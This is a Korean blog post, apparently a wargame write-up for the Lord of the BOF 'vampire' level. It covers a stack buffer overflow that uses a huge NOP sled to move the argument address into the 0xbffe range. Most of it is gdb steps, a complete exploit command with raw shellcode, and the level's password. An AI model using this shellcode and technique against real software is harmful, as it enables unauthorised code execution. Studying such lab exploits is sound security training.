1. 취약점
전 단계와 달리 매개변수의 사용은 1개 이상 사용해도 되는데 argv[1][46]을"\xff"를 사용하면 안된다.
이 때까지 모든 새로운 Retrurn Address의 경우에 0xbfff**** 형태였기 때문에 당황스러운 조건문이다.
따라서 함수가 호출되었을 때 스택이 쌓이는 순서는 고드름처럼 아래로 성장하는 구조임을 활용하여
아주 많은 양의 nop를 넣어서 argv[2]의 주소를 "bffe****"로 만드는 것이 중요하다.
2. Exploit
1. bash2를 사용하고 vampire.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp vampire.c /tmp/vampire.c && cd /tmp
2. gcc로 컴파일 한후 gdb로 디버깅을 한다.
$ gcc -g -o vampire vampire.c
$ gdb -q ./vampire
3. 중단점을 초기 상태로 한다. 우리의 관심은 argv의 주소의 변화이다.
(gdb) b *main+3
(gdb) r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'` `perl -e 'print "\x90"x70000, "B"x39'`
노가다는 즐거워!!! ㅋㅋㅋㅋㅋ
우선 bfff****와 bfffe****는 최대 65,536의 차이가 난다는 점을 이용해서 6만부터 만단위로 대입을 했는데
7만을 대입하니 argv의 주소의 상태가!!??? bffe**** !!!!
(gdb) x/200x $esp
짝짝짝.. Return Address는 0xbffeeae8로 정했다
4. 쉘코드를 만들거나 웹에서 주어온다♥
\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3
5. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ./vampire `perl -e 'print "A"x44, "\xe8\xea\xfe\xbf"'` `perl -e 'print "\x90"x70000, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
8. 결과
id : vampire passwd : music world
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (skelton -> golem) (0) | 2016.10.08 |
---|---|
[버퍼 오버플로우] Bof 원정대 (vampire -> skelton) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (orge-> troll) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (darkelf -> orge) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |